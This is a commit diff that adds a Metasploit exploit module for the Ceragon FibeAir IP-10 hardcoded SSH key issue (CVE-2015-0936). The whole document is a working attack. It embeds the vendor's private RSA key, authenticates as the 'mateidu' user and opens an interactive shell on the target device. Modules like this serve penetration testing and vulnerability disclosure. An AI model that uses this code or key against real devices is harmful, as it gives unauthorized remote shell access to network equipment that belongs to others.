Lands #5054, adds a module for the Ceragon mateidu SSH issue

modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb

@@ -0,0 +1,149 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'net/ssh'
+
+class Metasploit3 < Msf::Exploit::Remote
+  include Msf::Auxiliary::Report
+
+  Rank = ExcellentRanking
+
+  def initialize(info = {})
+    super(update_info(info, {
+      'Name'        => 'Ceragon FibeAir IP-10 SSH Private Key Exposure',
+      'Description' => %q{
+        Ceragon ships a public/private key pair on FibeAir IP-10 devices
+        that allows passwordless authentication to any other IP-10 device.
+        Since the key is easily retrievable, an attacker can use it to
+        gain unauthorized remote access as the "mateidu" user.
+      },
+      'Platform'    => 'unix',
+      'Arch'        => ARCH_CMD,
+      'Privileged'  => false,
+      'Targets'     => [ [ "Universal", {} ] ],
+      'Payload'     =>
+        {
+          'Compat'  => {
+            'PayloadType'    => 'cmd_interact',
+            'ConnectionType' => 'find',
+          },
+        },
+      'Author'      => [
+        'hdm', # Discovery
+        'todb' # Metasploit module and advisory text (mostly copy-paste)
+        ],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          ['CVE', '2015-0936'],
+          ['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure
+          ['URL', 'https://hdm.io/blog/2015/01/20/partial-disclosure-is-annoying'] # Related issue with hardcoded user:pass
+        ],
+      'DisclosureDate' => "Apr 01 2015", # Not a joke
+      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
+      'DefaultTarget' => 0
+    }))
+
+    register_options(
+      [
+        # Since we don't include Tcp, we have to register this manually
+        Opt::RHOST(),
+        Opt::RPORT(22)
+      ], self.class
+    )
+
+    register_advanced_options(
+      [
+        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
+        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
+      ]
+    )
+
+  end
+
+  # helper methods that normally come from Tcp
+  def rhost
+    datastore['RHOST']
+  end
+  def rport
+    datastore['RPORT']
+  end
+
+  def do_login(user)
+    opt_hash = {
+      :auth_methods => ['publickey'],
+      :msframework  => framework,
+      :msfmodule    => self,
+      :port         => rport,
+      :key_data     => [ key_data ],
+      :disable_agent => true,
+      :config => false,
+      :record_auth_info => true,
+      :proxies => datastore['Proxies']
+    }
+    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
+    begin
+      ssh_socket = nil
+      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
+        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
+      end
+    rescue Rex::ConnectionError
+      return nil
+    rescue Net::SSH::Disconnect, ::EOFError
+      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
+      return nil
+    rescue ::Timeout::Error
+      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
+      return nil
+    rescue Net::SSH::AuthenticationFailed
+      print_error "#{rhost}:#{rport} SSH - Failed authentication"
+      return nil
+    rescue Net::SSH::Exception => e
+      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
+      return nil
+    end
+
+    if ssh_socket
+
+      # Create a new session from the socket, then dump it.
+      conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
+      ssh_socket = nil
+
+      return conn
+    else
+      return nil
+    end
+  end
+
+  def exploit
+    conn = do_login("mateidu")
+    if conn
+      print_good "#{rhost}:#{rport} - Successful login"
+      handler(conn.lsock)
+    end
+  end
+
+  def key_data
+    <<EOF
+-----BEGIN RSA PRIVATE KEY-----
+MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr
+MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+
+IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB
+gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3
+CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv
+4Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY
+SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6
+B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV
+93gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc
+WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP
+YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll
+7GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT
+uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg==
+-----END RSA PRIVATE KEY-----
+EOF
+  end
+end
+